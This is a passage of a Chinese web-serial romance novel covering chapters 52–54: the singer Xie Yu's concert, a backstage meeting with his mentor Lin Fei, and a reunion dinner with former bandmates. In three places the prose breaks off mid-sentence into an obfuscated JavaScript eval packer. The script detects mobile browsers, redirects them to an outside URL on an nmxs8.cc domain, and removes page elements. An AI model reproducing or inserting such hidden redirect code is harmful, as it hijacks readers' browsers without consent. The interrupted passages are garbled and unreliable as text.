通过这个视频，粉丝们也见到了谢玙很多不一样的一面，还有他平时的一些工作日常。 这条视频很快就上了热搜，很多粉丝都跟着谢玙打卡同款app，用Nexora来安排他们的日程。 【又看到哥哥了，好开心，周六演唱会见啊】 【跟着哥哥一起用Nexora，终于可以克服我的选择强迫症了】 【啊啊啊啊，周六北沅体育馆见！】 【新专辑到底什么端上来，我已经迫不及待更新歌单了】 【哥哥竟然也用Nexor ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15404072|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' a吗，嘻嘻，我和哥哥拥有同款软件哦】 【谢玙好久没有接商务了，没想到这一次居然是AI软件的推广】 【@谢玙工作室V@谢玙工作室V到底什么时候给谢玙开微博】 【就是就是，真没见娱乐圈哪个顶流没有微博的】 【平时多分享谢玙的日常，记得告诉他我们爱他@谢玙工作室】 【小室这一次还是得夸夸你，居然赶上时髦了，是不是工作室招了00后助理】 …… 自从谢玙来了他们公司以后，徐倩琳每天都在蹲守谢玙工作室的微博，她想第一时间就去点赞评论。 结果等了两天终于让她等到了。 徐倩琳脸上笑盈盈的，连发了好几条评论。 为了不给偶像带来麻烦，她那天拍的下午茶照片都只发在了朋友圈，天知道她有多么想炫耀。 她见到了谢玙本人！ 他还请他们全公司吃下午茶！！ 还给她的CD签名！！！ 呜呜呜，她一定是这个世界上最幸福的粉丝。 这时云阙科技职工群里有人发了消息并@了全体成员。 徐请让在群里发起了谢玙演唱会门票的抽奖活动。 舒言刚点进去，就听见徐倩琳压抑不住的尖叫声。 “我我我我……”她激动得话都快说不出来了。 办公室的人都看向了她。 徐倩琳直接哭了，“我中奖了，我可以去谢玙演唱会了！” 看看她这么开心的样子，舒言笑着说了句：“恭喜啊。” — 时间很快来到谢玙演唱会的当天。 中午的时候，谢玙过来接舒言一起吃了午饭。 然后，舒言陪他去北沅体育馆排练了一会儿。 演唱会是晚上七点开始，进场前谢玙特意和她交待，演唱会结束后不要走，小刘会过来带她去后台。 不知道为什么，舒言心里还挺紧张的，她看向身侧气定神闲的男人：“你会紧张吗？” 驾驶座上的小刘听见她的话后忍不住笑了两声，“舒言姐，你放心，谢哥心理素质好，这种场面从来没看见过他紧张过。” “谢哥现场稳得很，一场演唱会下来气都不怎么喘的，待会你亲耳听听就知道了。” 舒言之前确实在网上看到粉丝对他的演唱会评价很高，说是体验感很好，他唱功了得，应急能力也好，基本没有忘词的情况。 她戳了下他的手臂，向他求证：“真的吗？你从来没有紧张过。” 戴着黑色鸭舌帽的男人撩了下眼皮，定定地看着她：“有过，但很少。” “不过……”他顿了下，桃花眼氤氲着笑意，“今天还挺紧张的。” 舒言呼吸一轻：“为什么？” 谢玙喉结滚动了下，斜睨了她一眼，反问她：“你说呢？” 小刘笑得很开心，扭过头说：“舒言姐，我知道，谢哥是怕自己在你面前没表现好。” “嘿嘿，他不好意思告诉你，我来当他的嘴替。” 谢玙有点不自在地咳嗽了一声，敛睫，没说话。 舒言轻笑了下，很认真地看着他说：“你放心，我待会会努力让你在台上听见我的声音的。” 就像以前那样，永远为你欢呼喝彩。 她的眼睛清透璨亮，皮肤干净瓷白，嘴唇粉嫩莹润，漂亮得让人挪不开眼睛。 为了来听他的演唱会，还特意穿了绿色系的衣服，扎着元气的丸子头。 望向他的时候，眼底的真挚和信任一如当年。 谢玙感觉自己的心软得一塌糊涂。 “好，我等着。” 舒言下车去检票进场，她的座位在VIP1区1号。 时隔多年，这个座位终于等到了它的主人。 舒言脸上微笑着，眼眶却湿湿的。 她看着北沅体育馆外的LED大屏说—— 谢玙，我来赴约了。 赴一场迟到很多年的约定。 52. 第52章 北沅体育馆前面的空地挤满了人。 有摆摊卖应援礼、做应援妆造的，也有粉丝在免费发放应援周边。 很多女孩子穿着漂亮的裙子，化着精致的妆容来奔赴这场演唱会。 当然现场的男生也很多。 甚至可以说各个年龄段的男女老少都有。 谢玙本来说带舒言直接走工作人员通道进去的，但是舒言果断拒绝了。 她想亲自体验一下那种怀揣着无比激动的心情静候进场的感觉。 排队的时候，她还领了几个粉丝应援周边，每一个都做得很精美，足以窥见粉丝们的用心程度。 因为她是vip票，所以没等多久就顺利进场了。 进入场馆以后，舒言按照指示牌找到了自己的座位，她在第一排最中间的位置。 体育馆按照本次演唱会的主题进行了布置，每个地方都有独特的小巧思，让人一看就知道是精心设计过的。 座位上有他给歌迷准备的应援礼包，绿色的荧光棒、绿色手环还有北沅站专属纪念卡。 舒言拿出手机给谢玙发消息。 舒:【我进来啦。】 X:【好，你先坐一会儿，很快就开始了。】 舒:【嗯嗯，你快去准备吧。】 舞台旁边的几块大屏正轮流播放着谢玙几首歌的MV，演唱会现场的气氛已经开始调动起来。 她坐下没多久，进入场馆的人就多了起来，偌大的场馆开始变得热闹非凡，到处都充斥着粉丝们亢奋激动的声音。 舒言又想起徐倩琳抽到了谢玙的演唱会门票，不知道她现在进来没有。 她点进朋友圈看了看，发现徐倩琳在几分钟前才晒了在外面排队等候的照片。 她的那张演唱会门票也在内场，只是在比较靠后的位置，离舒言有一定的距离。 摁灭手机屏幕后，舒言注意到自己左右两边的位置上都有人了。 她左边坐了个很有气质的年轻女人。 不知道是不是她的错觉，女人好像一直在往她的方向看。 舒言侧目朝她礼貌地笑了笑，女人也回以友好的笑容。 晚上7点整，演唱会正式开始。 谢玙坐着升降台出现在台下的歌迷面前。 舞台聚光灯打开的刹那，所有人的目光都聚焦在他身上，现场立马响起一阵震耳欲聋的尖叫声。 谢玙今天穿的是特别定制的演出服，黑色朋克风短外套，白色体恤，黑色长裤，背着那把标志性的绿色吉他。 这身装扮让他多了几分野性，挑染的绿色发丝恣意又张扬，生来就是舞台上的王者。 谢玙走到话筒前和大家打招呼，清冷磁性的声音在场馆的每一个角落响起。 “各位歌迷朋友们，大家晚上好！非常感谢大家来到我的世界巡回演唱会北沅站现场，今天一定不会让大家失望！” “另外提前提醒大家，在演唱会结束后不要忘记带走你的个人随身物品，提前祝大家拥有一个美好的夜晚！” 回应他的是此起彼伏的嘶吼声、尖叫声，歌迷们尽情释放着自己最大的热情。 舒言回过头眺望身后那片绿色的海洋，脸上不自觉地露出笑容。 她跟随着台下的所有粉丝挥舞着绿色的荧光棒，在某个不经意的瞬间刚好和台上的那人对视上。 谢玙脸上的笑容肆意蔓延，眉眼间写满了意气风发，蓬勃的生命力在他身上攀升、绽放。 他做了个停止的手势，现场很快就安静了下来。 柔和的绿光从上方洒下，伴奏声响起，他轻扫着和弦，开始投入到这场很不一样的演出中，用美妙的歌声回赠每一个远道而来的歌迷。 第一首歌是吉他弹唱，现场的歌迷们自觉地开始跟唱，但音量又控制得很好，不至于激烈得盖过谢玙的声音。 他的歌声早已褪去青涩，松弛感、技巧性拉满，字字句句的情感总是拿捏得恰到好处。 高悬的音响照顾到了场馆的每一个犄角旮旯，演唱会现场的氛围让所有人都沉浸在这一场听觉盛宴中。 舒言也在跟着小声哼唱。 她的目光从始至终都锁定在他的身上。 她这个位置没有任何遮挡，可以清晰地看见他额前跳跃的发丝，脸上生动的表情，从下颌角滴落的汗水。 眼前的热闹场景和很多年前第一次看见他们演出时的画面交叉重叠在一起。 她清楚地记得，在淮水巷的院子里，在那个称得上简陋的舞台上，那群少年也是这么热情地在舞台上挥洒着汗水，用清瘦平凡的身躯去支撑他们热烈而伟大的梦想。 那天晚上的萤火虫变成了歌迷们手中挥舞的绿色荧光棒，白色的洋槐花手串变成了绿色的荧光手环，台下的听众从两个变成了此刻的千千万万…… 只是……站在舞台上的人也从四个变成一个。 这么多年过去了，只有他还在坚守年少时的梦想。 从籍籍无名到座无虚席。 他终于成为了所有人眼中闪闪发光的大明星。 她不敢去想他到底付出了多少努力，抗住了多少压力。 亲爱的少年。 恭喜你终于得偿所愿。 你值得所有的鲜花和掌声。 台下的这片汪洋绿海，是只属于你的璀璨王国。 等舒言回过神来，发现自己早已热泪盈眶，舌尖全是眼泪咸涩的味道。 “擦一下吧。”坐在左手边的女人忽然递给她一包手帕纸。 舒言征了两秒，对上女人温柔的目光，说了句谢谢，然后接了过来。 她问：“第一次来？” 舒言：“是的。” 女人若有所思地笑了笑，没再继续搭话。 演唱会还在继续，谢玙正唱到他每次演唱会的必备曲目《致你》。 当他唱到那句“我也想变得很重要/肆无忌惮陪你闹”的时候，现场突然响起一阵喧闹声。 演唱会导播很快将镜头切了过去，舞台旁边的大屏幕上立马出现了男生单膝下跪向女孩下跪求婚的画面。 舒言听见身后的人在大声谈论。 “啊啊啊啊，有人在求婚！” “嫁给他，嫁给他！” “祝你们幸福，呜呜呜，又是见证别人神仙爱情的一天！” “我就猜到唱这首歌的时候肯定会有人求婚，果然啊，咱们中国也有自己的求婚神曲！” “……” 被求婚的女孩哭着接受了男生的戒指，两人紧紧地拥抱在一起，所有人都见证了他们的幸福。 谢玙也为这对歌迷朋友送上了真挚的祝福。 “希望你们能永远幸福，在细水流长的生活里找到最合拍的节奏。” 演唱会经过一个又一个高潮，终于来到了最后一首歌。 按照以往的惯例，最后一首歌一般是钢琴弹唱。 可在场的粉丝明显感觉到谢玙今天不太一样，他身上多了一些别的情绪，脸上的笑容多了，和歌迷们的互动也更多了，比过往的每一次演唱会都要热情高涨。 谢玙换完衣服回来后，现场自发地安静了下来。 他擦了把脸上的热汗，琥珀色眼眸仿佛盛满了揉碎的星光，目光精准无误地看向台下的某个方向。 “今天这场演唱会对我来说很特别，因为有一个很重要的人来到了现场。” 话音未落，现场的尖叫声就从各个方向传来，却掩盖不住舒言胸腔内传来的狂烈心跳声。 她双颊发烫，忍不住和舞台上的男人对视上，更加用力地挥舞着手中的荧光棒，和现场的粉丝一起喊出了他的名字。 这一次她真的很希望他可以听见自己的声音。 谢玙弯了弯唇，又说：“今天还有一个神秘嘉宾来到了现场，我的老师林菲女士，最后这首歌将由我和林老师一起演唱，希望大家喜欢。” 林菲的到来无疑将演唱会再次推向了高潮。 年近半百的林菲依旧光鲜美丽，她笑着和台下的粉丝打招呼，激起一阵又一阵声音的浪潮。 这个在乐坛被称为音乐神话的女人出人意料的空降在谢玙的演唱会现场。 舒言不知道该怎么形容自己此刻的心情，林菲是她学生时代时最喜欢的歌手，她的歌声陪伴着自己度过了无数个难熬的夜晚。 她完全没想过林菲竟然会出现在谢玙的演唱会现场。 一个是她喜欢的男人，一个是她喜欢的歌手，他们的合作让她感到无比惊喜。 最后这首歌的舞台效果无疑是完美的，两位顶级歌手让这首歌被诠释到极致，好多人都听得潸然泪下。 演唱会落幕的那个刹那，所有人的心情都无比复杂，一种怅然若失的感觉萦绕在心间。 小刘提前在旁边等着，在演唱会结束后迅速带着舒言避开了人潮，来到了场馆后台的休息室。 在进去前，小刘把怀里的一大束鲜花递给她，“舒言姐，这是你订的花。” 舒言接过花，笑着说：“谢谢，那我进去啦。” 小刘微笑点头：“好，舒言姐，你快进去吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409986|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，谢哥他在里面等你。” 舒言唇角上翘，转过身推开了门，却发现谢玙正在和林菲说话。 开门的动静让两人都往她的方向看了过来。 她愣在原地，犹豫要不要先出去。 看见进来的人是她，谢玙迈开长腿直接朝她走了过来，注意到她怀里的花时笑了下。 “送给我的？” 舒言笑盈盈地看着他：“是呀，恭喜你演出完满结束。” 谢玙伸手接过花，对她说：“走吧，过去和林老师说会话。” 第一次这么近距离的看到喜欢的歌手，舒言脸上多少有点羞涩。 她跟着谢玙的称呼叫她。 “林老师，您好。” 林菲笑着问谢玙：“这就是你说的那个很喜欢我的小姑娘？” 谢玙微微颔首：“是的，林老师。” 林菲一脸慈爱地打量她，“小姑娘长得真漂亮。” 舒言脸上一阵热潮，“谢谢林老师，您本人比视频里的更好看，我是您的粉丝，一直都很喜欢您。” “不好意思，我不知道您今天会来，不然我就多订一束花了。” 林菲不在意地摆了摆手，”没关系的，阿玙已经送过了。” “你要是喜欢我，后面我开演唱会的时候，我送两张票给你们，让阿玙带你一起来，到时候再送给我。” 舒言眼神一亮，一脸期待地点了点头。 林菲又和他们聊了几句就离开了。 休息室里只剩下他们两个人。 窗外夜色浓稠，空气里弥散着玫瑰的甜美香气。 对舒言来说，今晚的一切都美好得像在做梦。 谢玙看着她泛红的眼眶，心疼地摸了摸她的脸：“在下面哭了？” 舒言“嗯”了一声，“喜极而泣。” “没关系的。” 谢玙抿了抿唇，拧开一瓶水递给她，又问：“今晚开心吗？” “当然开心。” 舒言想也没想地说。 谢玙喉结滚动，目光如炬地看着她说：“那是来看我的演唱会更开心，还是看见林老师的时候更开心？” 舒言不禁失笑。 没想到他连这个都要比较。 不过还是遵从内心的声音告诉他：“当然是因为你才开心。” 她语气很认真：“谢玙，今天晚上我真的很开心。” 她知道林菲肯定是谢玙专门邀请的，为的就是在演唱会上给自己一个惊喜。 谢玙坐在矮柜上，两条大长腿敞着，手里拿了瓶矿泉水，目光灼灼：“嗯，我也是，特别的开心。” 今天晚上他出了不少汗，这会儿额前的头发都还是湿的，脸色也有些潮红，仰头喝水时滑动的喉结显得特别性感。 舒言拿出手机偷偷拍了张照片。 她刚收好手机，休息室的门突然被人从外面打开。 舒言抬头看去，发现进来的人居然是演唱会时坐在自己旁边的那个年轻女人。 女人自然也看到了她，她径直走了过来，朝舒言伸出手：“你好，我是秦亦熙，是阿玙的经纪人，也是他的表姐。” “……你好，我叫舒言。” 舒言伸手回握，眼睛却下意识地看向了谢玙，男人弯唇笑了下。 “是她非要坐到你旁边的。” 秦亦熙打趣着说：“我这不是想见见我弟喜欢的女孩吗？这么多年了，1号座位可算是迎来了它神秘的主人。” 闻言，舒言有点不好意思地别开了眼。 心想难怪她当时老是看自己，还问她是不是第一次来。 她凑近瞅了瞅舒言的脸，确认眼睛没有肿后才松了口气：“我跟你说，阿玙，你今天让人家女孩哭得可伤心了。” “不过你好像也很喜欢我们阿玙哦，在台下的时候热情丝毫不输给那些狂热的粉丝。” 秦亦熙冲谢玙眨了眨眼睛，“阿玙，你在台上肯定听到了吧。” 舒言脸上升起一股燥热，根本不敢去看谢玙的眼睛。 丢脸丢大了。 谁能想到旁边坐的人是他的表姐啊。 早知道她就控制一下音量了。 知道她容易害羞，谢玙轻咳了一声，及时制止了秦亦熙，“姐，你别说了。” 秦亦熙捂嘴笑得开心，“好了好了，我就是过来打个招呼，改天让阿玙带你来家里玩啊，今天我就先走了。” 舒言长睫颤了颤，温声说：“好，姐姐再见。” 秦亦熙：“真乖，再见。” 53. 第53章 秦亦熙离开后，小刘开车送舒言回家。 一路上小刘说个不停，啥话都能接上。 “舒言姐，我跟你说，每次谢哥在演唱会唱《致你》的时候都会有人求婚。” “久而久之《致你》就成了谢哥演唱会的必备歌曲了，为的就是方便粉丝求婚。” 想起刚才演唱会上求婚的场景，舒言垂眸笑了笑，“在演唱会上被求婚确实挺浪漫的。” 她看向一旁闭目养神的谢玙，幽暗的光线下依旧可以看见他长长的睫毛，像两把小扇子一样。 耳边是他细微绵长的呼吸声，这几天他肯定很累吧。 不过好在北沅站的演唱会结束了，暂时可以休息一段时间。 大概二十分钟左右的样子，车子停在了舒言家楼下。 下车前，男人忽然睁开了眼，看向她的眼神有几分倦懒，音色低哑。 “到了？” 舒言轻“嗯”了一声，她打开门，“我先走了，你们也早点回去休息。” “不急。”男人一把拉住她的手臂，视线落她脸上，“是不是快放假了，过年要回南港吗？” 舒言沉默了几秒，说：“要回的。” 谢玙忽然想到什么，定定地看着她说：“行，那到时候我陪你一起回去，你待会把身份证号码发给我。” 舒言笑着说好，她低头看着男人紧紧攥住自己的手，嗓音轻柔：“怎么了？舍不得我走。” 谢玙目光灼灼地看她，尾音拖长：“是啊，舍不得。” 听见他们的对话，小刘干脆下了车，给他们独处的空间。 他这样炽热的眼神，舒言完全招架不住，她挣开他的手，有些艰难地说：“我想、先回去了。” 谢玙低笑了两声，倾身凑近她的耳朵，灼热的呼吸喷在她的脖颈，弄得她痒得直想躲，却被男人用力拽住手腕。 环绕在耳畔的嗓音好听得让人沉醉，“今天晚上我听见你的声音了，我很开心。” 鼻尖嗅到她身上好闻的槐花香气，他情不自禁咽了下口水，呼吸又急又烫。 “你喷我送的香水了？” 舒言耳根连着脖颈红了一片，火烧似的。 他说的没错，她今天确实喷了他送的香水。 可现在被他点出来，又让她感到有些羞涩。 她拿上包，一把推开他，几乎是落荒而逃。 可她还没走几步，手机就收到了他发来的语音。 X:【对了，忘了说，下次可以不用偷拍。】 略显调侃的语气还带了点坏笑，让舒言脸都快热炸了。 她捂住脸颊，没忍住跺了下脚。 真的是丢死人了。 他怎么什么都知道啊！！！ …… 当天晚上，谢玙的演唱会连着上了好几个微博热搜。 他在最后一首歌前说的那段话也引起了网友的热议。 【根据我的第六感，多半是谈恋爱了】 【我也觉得，这一看就是女朋友在下面】 【但是有没有可能那个很重要的人说的是林菲呢？】 【就是就是，非官宣不约哈，还是多关注谢玙的演唱会和新专辑吧】 【真没想到林菲居然空降谢玙演唱会了，她都好久没出来露面了】 【哈哈哈哈，谢玙不是林菲最得意的弟子吗，会出现也不奇怪啊】 【恋爱就恋爱呗，人家是歌手，又不是爱豆，谈个恋爱有啥】 【就算谢玙谈恋爱了，粉丝们有什么理由不同意，人家是靠实力吃饭的，又不是靠流量】 【作为一名歌手，谢玙的专业能力没得说，出道这么多年了，也没有任何黑料，每次演唱会都很用心的给粉丝准备礼物，就问内娱有几个能做到这样的？】 — 春节前，舒言和谢玙一起回了南港。 自从大三那年舒显廷去世以后，舒言就很少回南港了。 这几年她和家里的关系一直不冷不热，勉强维持着联系。 她心里一直有道过不去的坎，但她现在长大了，也不再渴望亲情了。 舒言到家后，发现陈岚和舒连溪都在家里。 看见她开门进来，舒连溪惊喜地凑上来说：“姐，你回来了！” “你怎么也不告诉我们，我好和妈一起去接你。” 舒言语气平淡：“不用，太麻烦了。” 闻言，舒连溪有些失落地哦了一声。 舒言没什么情绪地对着陈岚说了一句：“妈，我回来了。”然后就拉着行李箱回自己房间了。 陈岚看着她的背影，欲言又止，最终只是叹了口气。 舒连溪故意很大声地说：“妈，你不是前几天还在念叨姐吗，怎么现在姐回来了，你又不说话了。” 他往舒言房间走去，“姐，你的房间还是我帮着妈给你收拾的，怎么样，是不是很干净。” 陈岚勉强笑了笑，她知道自己这个女儿心里对自己有怨，明明是从她身上掉下来的，她们现在却完全没有什么话说，像是住在同一个屋檐下的陌生人一样。 她有时候也会想，自己是不是做错了什么，但是事情都过去了，再想这些又有什么意义呢。 舒言回房间把行李放好，又简单收拾了一下。 她坐在床上看着这个熟悉的小屋，心里有种说不出来的感觉。 下午她接到了谢玙的电话，说是待会过来接她一起出去见几个人，顺便吃个晚饭。 舒言答应了，还换了身衣服。 到了约定的时间，舒言和陈岚说了一声，就下楼去找谢玙了。 舒连溪看着她毫不犹豫离开的身影，有些沮丧地耷拉着脑袋。 “妈，姐她是不是不喜欢我啊。” 陈岚愣了一下，脸上的笑容有些苦涩，“没有，你姐可能就是有事出去一趟。” 舒连溪脸上这才重新堆满笑：“好吧，希望明天能和姐姐一起吃饭。” 舒言到小区门口以后，发现谢玙今天还是开车来接她的。 上车后，她疑惑地问：“见什么人呀，我认识吗？” 谢玙冲她神秘一笑，“等待会见到人了你就知道了。” 其实舒言心里隐隐有些猜测，但又怕是自己猜错了。 车子停在了南港一家很有名的餐厅，在服务员的指引下他们到了提前预定的包厢。 服务员帮忙推开门让他们进去。 “哎呀，你们总算来了！” 舒言还没进去就听见一道热情的男声，莫名有些耳熟。 她抬头一看，立马认出来刚才说话的人是何昭。 何昭走过来笑着拍了下谢玙的肩膀，又看向舒言：“嗨，舒言同学，好久不见。” 舒言抿唇笑了笑，“好久不见。” “坐下聊。” 谢玙拉开把椅子让她坐下，然后自己跟着坐在旁边。 何昭笑嘻嘻地说：“这么多年不见，舒言同学还是这么漂亮啊，前段时间你们公司开发的那个AI软件可火了，真是年轻有为啊！” 他又看向谢玙：“还有你，阿玙，刚开完一场演唱会，厉害啊，我们几个里面就你实现音乐梦了。” 话音一落，包厢顿时安静了几秒。 毕竟谁都知道当年如果不是梁潇雨去世，说不定现在站在舞台上的就是他们四个人了。 何昭说完也觉得有点尴尬，连忙转移话题：“我问问看霄云，许漫他们来没有。” 他正说着，包厢的门再次被人从外面推开。 进来的人正是梁霄云和许漫。 几年不见，大家的脸上都褪去了高中时的稚气，变得成熟稳重了很多。 许漫在看见舒言的时候直接冲上来给了她一个大大的拥抱。 她语气又惊又喜：“舒言，终于又见到你了。” 舒言笑着回应她：“是啊。” 放开她以后，许漫在她旁边坐下。 伫立在旁边的梁霄云冷峻的脸上露出点笑意，“大家好久没有聚在一起了。” “特别是你，舒言，这几年大家都很想你。” 舒言征了下，弯了弯唇，说：“霄云哥，我也很想你们。” 看着她脸上的笑容，梁霄云眼底滑过一丝暗淡，敛睫坐了下来。 何昭叫来服务员点了菜。 等菜上来以后，大家一边吃饭一边分享起自己这几年发生的事情。 何昭还是和高中那会儿一样，说起话来的时候总是眉飞色舞，“我现在混得也还行，和朋友合伙在南港开了家物流公司，这段时间还挺忙的。” 许漫打趣他：“哟，现在都当大老板了，不得了不得了，来来来，我建议我们举杯敬何总一杯。” 谢玙晚上要开车就没喝酒，舒言觉得今天还挺开心的，也跟着喝了一点。 等放下杯子后，何昭笑着说：“你还不是，都开上飞机了，等你哪天成机长了，我一定得去坐坐你开的飞机。” 许漫爽朗一笑，“那就借你吉言了，我争取早日成为咱们中国最年轻的女机长。” 听见许漫去当飞行员了，舒言有些惊讶，印象中高中那会儿确实也没听她说过她的理想。 飞行员是个要求挺高的职业。 “很厉害，祝你早日实现梦想。” 许漫笑着看她，给她倒了杯酒，“那咱们喝一个。” “你现在是在北沅工作吧，我之前看到微博热搜了，你们公司开发的那个AI软件很火。” 她挑了下眉，“哦，对了，我还想起一件事，八卦一下，之前不是被网友扒出来你们公司有个程序员暗恋吗，是谁啊，你知道吗？” 听她提起这个，舒言眼神飘忽，有点心虚地看向了谢玙，后者则是握拳抵唇笑了两声。 许漫还在等着她的回答。 舒言选择性地回答了她的问题：“是的，在北沅。” 许漫又问：“咦，那谢玙也在北沅，你们在北沅见过没？” 舒言点了点头，“去年12月碰到了。” “那你们平时还可以聚一聚，真好啊。” 谢玙看向一直没说话的梁霄云，薄唇轻启：“霄云，你最近怎么样？” 闻言，梁霄云抬眸扫视了一圈桌上的人，“挺好的，你呢？” 谢玙淡声道：“也挺好的。” 梁霄云若有所思地垂眸，“那就好，看见你过得好，潇雨在天上也会很开心的。” “潇雨她一直很喜欢你。” 其实谢玙也很久没有见过梁霄云了，这么多年过去，梁潇雨还是他们之间避而不谈的话题。 梁潇雨去世以后，他们才意识到命运总是那么残酷，梦想也总是被现实打败。 包厢内的气氛骤然降低到零点。 何昭赶紧打着圆场，他给梁霄云夹了块肉，“来，霄云，这个好吃。” 舒言有些忧心地看向了谢玙。 她不太清楚当初到底发生了什么事，高三那年她只从何昭口中得知了梁潇雨去世的消息。 她记得自己当时特别地震惊，也感到非常地难过。 他们是从小一起长大的朋友，而且潇雨还是他的队友，他那时候肯定更伤心吧。 谢玙无言低下头，没滋没味地喝了口茶水。 察觉到舒言关切的目光，他侧目扯唇笑了下，示意自己没事。 舒言怎么可能感受不到他身上的低气压，心里也开始变得难受起来。 何昭心里说不出来的郁闷，其实这几年大家聚少离多，现在也是好不容易才聚到一起，这才没说几句话就弄得气氛很沉重。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15416034|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝多了酒，他脸上红扑扑的，“阿玙，其实我们是真的替你感到高兴，你成功了就是我们成功了，春天里乐队已经是过去了，你心里不要有什么负担。” “你大胆地去拼，去闯，华语乐坛理应有你的位置，毕竟你是那么优秀，当初要不是考虑我们几个，你早就签了经纪公司了。” 说完后，他又打了个酒嗝，也不知道是不是真的喝醉了，眼神迷离，“其实我也想去看你的演唱会来着，但是又没好意思开口。” “当然了，我也是怕自己触景伤情，你可千万不要嘲笑我。” 这顿饭剩下的时间都在压抑、沉闷中度过，在场的人都默契地保持了沉默。 饭后，梁霄云开车送许漫和何昭回家。 谢玙帮舒言拿起包，“走吧，我送你回去。” 舒言喝了酒脸上有点热，她仰起绯红的脸颊说：“我还不想回去。” 谢玙眼皮跳了下，“行，那我们在外面走走。” 天已经完全黑了，道路两边的灯亮了起来，整个城市充斥着热闹的生活气息。 舒言感觉自己脚下的步子有点软绵绵的。 走了一段路后，她忽然抬起头说：“谢玙，你今晚是不是很难过啊。” 谢玙顿了下，声音低低的，“……没有。” “你骗人！你明明就是很难过。” “呜呜呜，你不愿意告诉我，你是不是不喜欢我了。” “你……”谢玙深吸了一口气，意识到什么，凑近她，不确定地问：“你是不是喝醉了？” 舒言用力地摇头，否认道：“我才没有，我是不会醉的。” 醉鬼都说自己没醉。 果然，下一秒就看见她差点撞到别人身上，谢玙眼疾手快地把她揽到了自己怀里，“小心点。” 舒言乖乖地待在他的胸口，睁着透亮迷蒙的眼睛看他。 谢玙被她看得喉咙有点痒，“怎么了？” 舒言看着他没说话，眼睛却变得湿湿的，蓄满了晶莹的泪水。 “你、别哭。” 看见她的眼泪，谢玙顿时无措起来。 舒言吸了吸鼻子，眼泪直接从眼眶掉了出来。 谢玙的心上一阵刺痛，温柔地用指腹拭去她脸上的眼泪，用力抱紧了她，声音有点沙哑。 “你别哭了。”他彻底败在她的眼泪下。 “好吧，我承认我今晚有点难过。” 谢玙继续说道：“高三那年，梁潇雨去世后，梁霄云就提出退出乐队，后面何昭也退了，就连我也想过放弃唱歌。” “在很长一段时间里，我都觉得自己背弃了曾经的梦想，不是我一个人的梦想，而是我们四个人的梦想，你知道的。” 他自嘲地笑了下，“你看，当初答应过你的，我还是没能做到，我是不是很没用。” “在过去的这几年，我经常梦到你，我很想见到你，可又怕见到你，我怕你也会对我感到失望。” 舒言已经哭得泣不成声，她很伤心地喊谢玙的名字。 “阿玙。” “我怎么可能会对你失望，你都不知道我有多么为你感到骄傲。” “这件事情你没有任何错。在那种情况下，你没有被残酷的命运打倒，选择继续坚持自己的梦想，又何尝不是在帮他们实现梦想。” “阿玙，你不要难过了，因为看到你难过，我也会很难过。潇雨知道了肯定也会不开心的，她是那么活泼可爱的女孩。” “我知道过去几年时间里，失去队友孤身一人前行的滋味不好受，以前我没能在你身边陪你，但以后的路我会一直陪你走下去，你永远不会再孤单。” 她执拗地看着他，说得很认真：“其实你已经帮所有人实现了梦想。” 月亮是夜幕的缺口。 谢玙想起很久之前看到的一句话。 当时不觉得有什么，现在却忽然明白过来。 她对他来说就是月亮，是黑夜里的唯一指引。 谢玙舔了下干涩的嘴唇，“好，以后都不难过了。” 他没再说话，只是更用力地抱紧她，他感觉自己眼眶又湿又热，平复了好久才把那股难忍的情绪压了下去。 不知道过了多久，他松开抱住她的手，温声问：“还能自己走不？” 舒言还没回答，就看见他在自己面前蹲了下去。 “来吧，我背你回车上。” 舒言沉默着趴了上去，双手搂住他的脖子，脸贴在他温热结实的背上。 他的肩膀很宽，让她觉得很有安全感。 谢玙很轻松地把她背了起来。 南港的夜景一直很美，偶尔刮来几缕凉风，吹得脸颊有些冷。 察觉到舒言缩了下脖子，谢玙扭过头问：“很冷吗，马上就到车上了。”说完脚下加快了步伐。 舒言摇了摇头，声音轻轻的，“还好。” 她从后面捧住他的脸，恶作剧似的胡乱摸了几下：“我的手很热，我可以给你的脸挡风。”说完还趁机捏了捏他的脸。 捏完后，她心满意足地咂了下嘴巴。 “怎么样，我对你是不是很好。” 感受到她在自己脸上乱摸，谢玙没忍住笑了笑：“行啊，舒言，都学会占便宜了。” 舒言矢口否认：“我没有。” 她把脸埋进他的背，鸵鸟似的不肯承认。 谢玙才懒得和喝醉了的人计较，“好好好，你没有。” “还难不难受？” 他叹了口气，“早知道就不让你喝酒了。” 他是真没想到她酒量能有这么差。 明明自己喝醉了难受着，却还一直在心疼他。 他喃喃道：“可不可以一直对我这么好。” 舒言没再出声，趴在他身上像是睡着了。 54. 第 54 章 舒言一觉睡到了第二天中午。 